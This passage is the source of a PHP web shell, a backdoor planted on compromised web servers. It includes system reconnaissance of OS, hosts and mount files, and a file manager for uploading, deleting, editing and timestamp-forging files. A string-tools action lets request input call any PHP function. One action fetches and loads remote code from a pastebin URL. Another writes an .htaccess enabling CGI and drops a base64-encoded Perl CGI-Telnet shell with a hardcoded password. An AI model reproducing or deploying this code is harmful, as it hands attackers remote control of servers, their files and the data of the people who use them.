                    showSecParam('OS version', @file_get_contents('/proc/version'));
                    showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
                    if (!$GLOBALS['safe_mode']) {
                        echo "<br>";
                        $temp = array();
                        foreach ($userful as $item) {
                            if (which($item)) {
                                $temp[] = $item;
                            }
                        }
                        showSecParam('Userful', implode(', ', $temp));
                        $temp = array();
                        foreach ($danger as $item) {
                            if (which($item)) {
                                $temp[] = $item;
                            }
                        }
                        showSecParam('Danger', implode(', ', $temp));
                        $temp = array();
                        foreach ($downloaders as $item) {
                            if (which($item)) {
                                $temp[] = $item;
                            }
                        }
                        showSecParam('Downloaders', implode(', ', $temp));
                        echo "<br/>";
                        showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                        showSecParam('HDD space', ex('df -h'));
                        showSecParam('Mount options', @file_get_contents('/etc/fstab'));
                    }
                } else {
                    showSecParam('OS Version', ex('ver'));
                    showSecParam('Account Settings', ex('net accounts'));
                    showSecParam('User Accounts', ex('net user'));
                }
                echo "</div>";
                printFooter();
            }
            function actionFilesMan()
            {
                printHeader();
                echo "<center><h1>File Manager</h1></center><div class=content>";
                if (isset($_POST['p1']) && $_POST['p1'] != 'deface') {
                    switch ($_POST['p1']) {
                        case 'uploadFile':
                            if (!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) {
                                echo "Can't upload file!";
                            }
                            break;
                        case 'mkdir':
                            if (!@mkdir($_POST['p2'])) {
                                echo "Can't create new dir";
                            }
                            break;
                        case 'delete':
                            function deleteDir($path)
                            {
                                $path = substr($path, -1) == '/' ? $path : $path . '/';
                                $dh = opendir($path);
                                while (($item = readdir($dh)) !== false) {
                                    $item = $path . $item;
                                    if (basename($item) == ".." || basename($item) == ".") {
                                        continue;
                                    }
                                    $type = filetype($item);
                                    if ($type == "dir") {
                                        deleteDir($item);
                                    } else {
                                        @unlink($item);
                                    }
                                }
                                closedir($dh);
                                rmdir($path);
                            }
                            if (is_array(@$_POST['f'])) {
                                foreach ($_POST['f'] as $f) {
                                    $f = urldecode($f);
                                    if (is_dir($f)) {
                                        deleteDir($f);
                                    } else {
                                        @unlink($f);
                                    }
                                }
                            }
                            break;
                        case 'paste':
                            if ($_SESSION['act'] == 'copy') {
                                function copy_paste($c, $s, $d)
                                {
                                    if (is_dir($c . $s)) {
                                        mkdir($d . $s);
                                        $h = opendir($c . $s);
                                        while (($f = readdir($h)) !== false) {
                                            if ($f != "." and $f != "..") {
                                                copy_paste($c . $s . '/', $f, $d . $s . '/');
                                            }
                                        }
                                    } elseif (is_file($c . $s)) {
                                        @copy($c . $s, $d . $s);
                                    }
                                }
                                foreach ($_SESSION['f'] as $f) {
                                    copy_paste($_SESSION['cwd'], $f, $GLOBALS['cwd']);
                                }
                            } elseif ($_SESSION['act'] == 'move') {
                                function move_paste($c, $s, $d)
                                {
                                    if (is_dir($c . $s)) {
                                        mkdir($d . $s);
                                        $h = opendir($c . $s);
                                        while (($f = readdir($h)) !== false) {
                                            if ($f != "." and $f != "..") {
                                                copy_paste($c . $s . '/', $f, $d . $s . '/');
                                            }
                                        }
                                    } elseif (is_file($c . $s)) {
                                        @copy($c . $s, $d . $s);
                                    }
                                }
                                foreach ($_SESSION['f'] as $f) {
                                    @rename($_SESSION['cwd'] . $f, $GLOBALS['cwd'] . $f);
                                }
                            }
                            unset($_SESSION['f']);
                            break;
                        default:
                            if (!empty($_POST['p1']) && ($_POST['p1'] == 'copy' || $_POST['p1'] == 'move')) {
                                $_SESSION['act'] = @$_POST['p1'];
                                $_SESSION['f'] = @$_POST['f'];
                                foreach ($_SESSION['f'] as $k => $f) {
                                    $_SESSION['f'][$k] = urldecode($f);
                                }
                                $_SESSION['cwd'] = @$_POST['c'];
                            }
                            break;
                    }
                    echo "<script>document.mf.p1.value=\"\";document.mf.p2.value=\"\";</script>";
                }
                $dirContent = @scandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
                if ($dirContent === false) {
                    echo "Can't open this folder!";
                    return;
                }
                global $sort;
                $sort = array('name', 1);
                if (!empty($_POST['p1'])) {
                    if (preg_match('!s_([A-z]+)_(\\d{1})!', $_POST['p1'], $match)) {
                        $sort = array($match[1], (int) $match[2]);
                    }
                }
                echo "<script>\r\n        function sa() {\r\n            for(i=0;i<document.files.elements.length;i++)\r\n            if(document.files.elements[i].type == 'checkbox')\r\n                document.files.elements[i].checked = document.files.elements[0].checked;\r\n        }\r\n        </script>\r\n        <table width='100%' class='main' cellspacing='0' cellpadding='2'>\r\n        <form name=files method=post>";
                echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
                $dirs = $files = $links = array();
                $n = count($dirContent);
                for ($i = 0; $i < $n; $i++) {
                    $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
                    $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
                    $tmp = array('name' => $dirContent[$i], 'path' => $GLOBALS['cwd'] . $dirContent[$i], 'modify' => @date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), 'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]), 'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]), 'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]), 'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i]));
                    if (@is_file($GLOBALS['cwd'] . $dirContent[$i])) {
                        $files[] = array_merge($tmp, array('type' => 'file'));
                    } elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i])) {
                        $links[] = array_merge($tmp, array('type' => 'link'));
                    } elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && $dirContent[$i] != ".") {
                        $dirs[] = array_merge($tmp, array('type' => 'dir'));
                    }
                }
                $GLOBALS['sort'] = $sort;
                function cmp($a, $b)
                {
                    if ($GLOBALS['sort'][0] != 'size') {
                        return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]]) * ($GLOBALS['sort'][1] ? 1 : -1);
                    } else {
                        return ($a['size'] < $b['size'] ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
                    }
                }
                usort($files, "cmp");
                usort($dirs, "cmp");
                usort($links, "cmp");
                $files = array_merge($dirs, $links, $files);
                $l = 0;
                foreach ($files as $f) {
                    echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . ($f['type'] == 'file' ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');"><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . ($f['type'] == 'file' ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms'] . '</td><td><a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . ($f['type'] == 'file' ? ' <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
                    $l = $l ? 0 : 1;
                }
                echo '<tr><td colspan=5>
    <input type=hidden name=a value=\'FilesMan\'>
    <input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">
    <input type=hidden name=charset value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
    <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
                if (!empty($_SESSION['act']) && @count($_SESSION['f'])) {
                    echo "<option value='paste'>Paste</option>";
                }
                echo "</select> <input type=\"submit\" value=\">>\"></td></tr>\r\n    </form></table></div>";
                printFooter();
            }
            function actionStringTools()
            {
                if (!function_exists('hex2bin')) {
                    function hex2bin($p)
                    {
                        return decbin(hexdec($p));
                    }
                }
                if (!function_exists('hex2ascii')) {
                    function hex2ascii($p)
                    {
                        $r = '';
                        for ($i = 0; $i < strLen($p); $i += 2) {
                            $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                        }
                        return $r;
                    }
                }
                if (!function_exists('ascii2hex')) {
                    function ascii2hex($p)
                    {
                        $r = '';
                        for ($i = 0; $i < strlen($p); ++$i) {
                            $r .= dechex(ord($p[$i]));
                        }
                        return strtoupper($r);
                    }
                }
                if (!function_exists('full_urlencode')) {
                    function full_urlencode($p)
                    {
                        $r = '';
                        for ($i = 0; $i < strlen($p); ++$i) {
                            $r .= '%' . dechex(ord($p[$i]));
                        }
                        return strtoupper($r);
                    }
                }
                if (isset($_POST['ajax'])) {
                    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                    ob_start();
                    if (function_exists($_POST['p1'])) {
                        echo $_POST['p1']($_POST['p2']);
                    }
                    $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
                    echo strlen($temp), "\n", $temp;
                    exit;
                }
                printHeader();
                echo "<center><h1>String Conversions</h1></center><div class=content><center>";
                $stringTools = array('Base64 encode' => 'base64_encode', 'Base64 decode' => 'base64_decode', 'Url encode' => 'urlencode', 'Url decode' => 'urldecode', 'Full urlencode' => 'full_urlencode', 'md5 hash' => 'md5', 'sha1 hash' => 'sha1', 'crypt' => 'crypt', 'CRC32' => 'crc32', 'ASCII to HEX' => 'ascii2hex', 'HEX to ASCII' => 'hex2ascii', 'HEX to DEC' => 'hexdec', 'HEX to BIN' => 'hex2bin', 'DEC to HEX' => 'dechex', 'DEC to BIN' => 'decbin', 'BIN to HEX' => 'bin2hex', 'BIN to DEC' => 'bindec', 'String to lower case' => 'strtolower', 'String to upper case' => 'strtoupper', 'Htmlspecialchars' => 'htmlspecialchars', 'String length' => 'strlen');
                if (empty($_POST['ajax']) && !empty($_POST['p1'])) {
                    $_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
                }
                echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
                foreach ($stringTools as $k => $v) {
                    echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
                }
                echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " . ($_SESSION[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . htmlspecialchars(@$_POST['p2']) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
                if (!empty($_POST['p1'])) {
                    if (function_exists($_POST['p1'])) {
                        echo htmlspecialchars($_POST['p1']($_POST['p2']));
                    }
                }
                echo "</pre></div></center>";
                printFooter();
            }
            function actionFilesTools()
            {
                if (isset($_POST['p1'])) {
                    $_POST['p1'] = urldecode($_POST['p1']);
                }
                if (@$_POST['p2'] == 'download') {
                    if (is_file($_POST['p1']) && is_readable($_POST['p1'])) {
                        ob_start("ob_gzhandler", 4096);
                        header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                        if (function_exists("mime_content_type")) {
                            $type = @mime_content_type($_POST['p1']);
                            header("Content-Type: " . $type);
                        }
                        $fp = @fopen($_POST['p1'], "r");
                        if ($fp) {
                            while (!@feof($fp)) {
                                echo @fread($fp, 1024);
                            }
                            fclose($fp);
                        }
                    } elseif (is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
                    }
                    exit;
                }
                if (@$_POST['p2'] == 'mkfile') {
                    if (!file_exists($_POST['p1'])) {
                        $fp = @fopen($_POST['p1'], 'w');
                        if ($fp) {
                            $_POST['p2'] = "edit";
                            fclose($fp);
                        }
                    }
                }
                printHeader();
                echo "<h1>File Tools</h1><div class=content>";
                if (!file_exists(@$_POST['p1'])) {
                    echo "File not exists";
                    printFooter();
                    return;
                }
                $uid = @posix_getpwuid(@fileowner($_POST['p1']));
                $gid = @posix_getgrgid(@fileowner($_POST['p1']));
                echo '<span>Name:</span> ' . htmlspecialchars($_POST['p1']) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
                echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
                if (empty($_POST['p2'])) {
                    $_POST['p2'] = 'view';
                }
                if (is_file($_POST['p1'])) {
                    $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
                } else {
                    $m = array('Chmod', 'Rename', 'Touch');
                }
                foreach ($m as $v) {
                    echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
                }
                echo "<br><br>";
                switch ($_POST['p2']) {
                    case 'view':
                        echo "<pre class=ml1>";
                        $fp = @fopen($_POST['p1'], 'r');
                        if ($fp) {
                            while (!@feof($fp)) {
                                echo htmlspecialchars(@fread($fp, 1024));
                            }
                            @fclose($fp);
                        }
                        echo "</pre>";
                        break;
                    case 'highlight':
                        if (is_readable($_POST['p1'])) {
                            echo "<div class=ml1 style=\"background-color: black;color:black;\">";
                            $code = highlight_file($_POST['p1'], true);
                            echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
                        }
                        break;
                    case 'chmod':
                        if (!empty($_POST['p3'])) {
                            $perms = 0;
                            for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                                $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                            }
                            if (!@chmod($_POST['p1'], $perms)) {
                                echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                            } else {
                                die('<script>g(null,null,null,null,"")</script>');
                            }
                        }
                        echo '<form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
                        break;
                    case 'edit':
                        if (!is_writable($_POST['p1'])) {
                            echo "File isn't writeable";
                            break;
                        }
                        if (!empty($_POST['p3'])) {
                            @file_put_contents($_POST['p1'], $_POST['p3']);
                            echo "Saved!<br><script>document.mf.p3.value=\"\";</script>";
                        }
                        echo "<form onsubmit=\"g(null,null,null,null,this.text.value);return false;\"><textarea name=text class=bigarea>";
                        $fp = @fopen($_POST['p1'], 'r');
                        if ($fp) {
                            while (!@feof($fp)) {
                                echo htmlspecialchars(@fread($fp, 1024));
                            }
                            @fclose($fp);
                        }
                        echo "</textarea><input type=submit value=\">>\"></form>";
                        break;
                    case 'hexdump':
                        $c = @file_get_contents($_POST['p1']);
                        $n = 0;
                        $h = array('00000000<br>', '', '');
                        $len = strlen($c);
                        for ($i = 0; $i < $len; ++$i) {
                            $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                            switch (ord($c[$i])) {
                                case 0:
                                    $h[2] .= ' ';
                                    break;
                                case 9:
                                    $h[2] .= ' ';
                                    break;
                                case 10:
                                    $h[2] .= ' ';
                                    break;
                                case 13:
                                    $h[2] .= ' ';
                                    break;
                                default:
                                    $h[2] .= $c[$i];
                                    break;
                            }
                            $n++;
                            if ($n == 32) {
                                $n = 0;
                                if ($i + 1 < $len) {
                                    $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                                }
                                $h[1] .= '<br>';
                                $h[2] .= "\n";
                            }
                        }
                        echo '<table cellspacing=1 cellpadding=5 bgcolor=#red><tr><td bgcolor=red><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#red><pre>' . $h[1] . '</pre></td><td bgcolor=#red><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                        break;
                    case 'rename':
                        if (!empty($_POST['p3'])) {
                            if (!@rename($_POST['p1'], $_POST['p3'])) {
                                echo "Can't rename!<br><script>document.mf.p3.value=\"\";</script>";
                            } else {
                                die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                            }
                        }
                        echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
                        break;
                    case 'touch':
                        if (!empty($_POST['p3'])) {
                            $time = strtotime($_POST['p3']);
                            if ($time) {
                                if (@touch($_POST['p1'], $time, $time)) {
                                    die('<script>g(null,null,null,null,"")</script>');
                                } else {
                                    echo "Fail!<script>document.mf.p3.value=\"\";</script>";
                                }
                            } else {
                                echo "Bad time format!<script>document.mf.p3.value=\"\";</script>";
                            }
                        }
                        echo '<form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
                        break;
                    case 'mkfile':
                        break;
                }
                echo "</div>";
                printFooter();
            }
            function actionconfigs()
            {
                printHeader();
                echo "<center><h1>Get Configs</h1></center>";
                echo "<div class=\"content\">";
                $cgi_dir = mkdir('configs', 0755);
                chdir('configs');
                $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
                function adminer($url, $isi)
                {
                    $fp = fopen($isi, "w");
                    $ch = curl_init();
                    curl_setopt($ch, CURLOPT_URL, $url);
                    curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                    curl_setopt($ch, CURLOPT_FILE, $fp);
                    return curl_exec($ch);
                }
                if (file_exists('configs/config.php')) {
                    echo "";
                } else {
                    if (adminer("https://pastebin.com/raw/PdtAV3uj", "config.php")) {
                        echo "";
                    } else {
                        echo "<center><font color=red>Failed to create Config file</font></center>";
                    }
                }
                echo "<br><center>  <iframe src='configs/config.php' width='900' height='430' frameBorder='0'></iframe></a>";
                echo "</div>";
                printFooter();
            }
            function actionSafeMode()
            {
                printHeader();
                echo "<center><h1>Cgi Telnet</h1><div class=content><center>";
                $cgi_dir = mkdir('telnet', 0755);
                chdir('telnet');
                $file_cgi = "cgi.new";
                $memeg = ".htaccess";
                $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .new \n AddHandler cgi-script .new \n AddHandler cgi-script .new";
                $htcgi = fopen(".htaccess", "w");
                $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiQ0dJLVRlbG5ldCBWZXJzaW9uIDEuMyI7CiRFZGl0UGVyc2lvbj0iPGZvbnQgc3R5bGU9J3RleHQtc2hhZG93OiAwcHggMHB4IDZweCByZ2IoMjU1LCAwLCAwKSwgMHB4IDBweCA1cHggcmdiKDMwMCwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApOyBjb2xvcjojZmZmZmZmOyBmb250LXdlaWdodDpib2xkOyc+QW5vbnlNb3VzPC9mb250PiI7CgokUGFzc3dvcmQgPSAiYW5vbnltb3VzIjsJCQkjIENoYW5nZSB0aGlzLiBZb3Ugd2lsbCBuZWVkIHRvIGVudGVyIHRoaXMgdG8gbG9naW4uCnN1YiBJc19XaW4oKXsKCSRvcyA9ICZ0cmltKCRFTlZ7IlNFUlZFUl9TT0ZUV0FSRSJ9KTsKCWlmKCRvcyA9fiBtL3dpbi9pKXsKCQlyZXR1cm4gMTsKCX0KCWVsc2V7CgkJcmV0dXJuIDA7Cgl9Cn0KJFdpbk5UID0gJklzX1dpbigpOwkJCQkjIFlvdSBuZWVkIHRvIGNoYW5nZSB0aGUgdmFsdWUgb2YgdGhpcyB0byAxIGlmCgkJCQkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCQkJCQkjIG1hY2hpbmUuIElmIHlvdSdyZSBydW5uaW5nIGl0IG9uIFVuaXgsIHlvdQoJCQkJCQkJCSMgY2FuIGxlYXZlIHRoZSB2YWx1ZSBhcyBpdCBpcy4KCiROVENtZFNlcCA9ICImIjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFdpbmRvd3MgTlQuCgokVW5peENtZFNlcCA9ICI7IjsJCQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMKCQkJCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguCgokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwMDAwOwkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZAoJCQkJCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkJCQkJIyB1c2VmdWwgZm9yIGNvbW1hbmRzIHRoYXQgbWF5IGhhbmcgb3IgdGhhdAoJCQkJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4KCQkJCQkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkJCQkJIyBpZ25vcmVkIG9uIE5UIFNlcnZlcnMuCgokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwkJCSMgSWYgdGhpcyBpcyAxLCB0aGVuIGRhdGEgaXMgc2VudCB0byB0aGUKCQkJCQkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZAoJCQkJCQkJCSMgY29tcGxldGVzLiBUaGlzIGlzIHVzZWZ1bCBmb3IgY29tbWFuZHMgbGlrZQoJCQkJCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuCgojIERPTidUIENIQU5HRSBBTllUSElORyBCRUxPVyBUSElTIExJTkUgVU5MRVNTIFlPVSBLTk9XIFdIQVQgWU9VJ1JFIERPSU5HICEhCgokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKJGNvbHM9IDE1MDsKJHJvd3M9IDI2OwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmVhZHMgdGhlIGlucHV0IHNlbnQgYnkgdGhlIGJyb3dzZXIgYW5kIHBhcnNlcyB0aGUgaW5wdXQgdmFyaWFibGVzLiBJdAojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuCiMgVGhlIGZpbGVuYW1lIGlzIHN0b3JlZCBpbiAkaW57J2YnfSBhbmQgdGhlIGRhdGEgaXMgc3RvcmVkIGluICRpbnsnZmlsZWRhdGEnfS4KIyBPdGhlciB2YXJpYWJsZXMgY2FuIGJlIGFjY2Vzc2VkIHVzaW5nICRpbnsndmFyJ30sIHdoZXJlIHZhciBpcyB0aGUgbmFtZSBvZgojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJCiMgc2NyaXB0cy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUmVhZFBhcnNlIAp7Cglsb2NhbCAoKmluKSA9IEBfIGlmIEBfOwoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsKCQoJJE11bHRpcGFydEZvcm1EYXRhID0gJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC87CgoJaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiR0VUIikKCXsKCQkkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsKCX0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQoJewoJCWJpbm1vZGUoU1RESU4pIGlmICRNdWx0aXBhcnRGb3JtRGF0YSAmICRXaW5OVDsKCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOwoJfQoKCSMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGEKCWlmKCRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvKQoJewoJCSRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcgCgkJQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsgCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsKCQkkSGVhZGVyQm9keSA9fiAvXHJcblxyXG58XG5cbi87CgkJJEhlYWRlciA9ICRgOwoJCSRCb2R5ID0gJCc7CiAJCSRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUKCQkkaW57J2ZpbGVkYXRhJ30gPSAkQm9keTsKCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IAoJCSRpbnsnZid9ID0gJDE7IAoJCSRpbnsnZid9ID1+IHMvXCIvL2c7CgkJJGlueydmJ30gPX4gcy9ccy8vZzsKCgkJIyBwYXJzZSB0cmFpbGVyCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykKCQl7IAoJCQkkbGlzdFskaV0gPX4gcy9eLituYW1lPSQvLzsKCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOwoJCQkka2V5ID0gJDE7CgkJCSR2YWwgPSAkJzsKCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsKCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsKCQkJJGlueyRrZXl9ID0gJHZhbDsgCgkJfQoJfQoJZWxzZSAjIHN0YW5kYXJkIHBvc3QgZGF0YSAodXJsIGVuY29kZWQsIG5vdCBtdWx0aXBhcnQpCgl7CgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOwoJCWZvcmVhY2ggJGkgKDAgLi4gJCNpbikKCQl7CgkJCSRpblskaV0gPX4gcy9cKy8gL2c7CgkJCSgka2V5LCAkdmFsKSA9IHNwbGl0KC89LywgJGluWyRpXSwgMik7CgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSAuPSAiXDAiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOwoJCQkkaW57JGtleX0gLj0gJHZhbDsKCQl9Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXIKIyB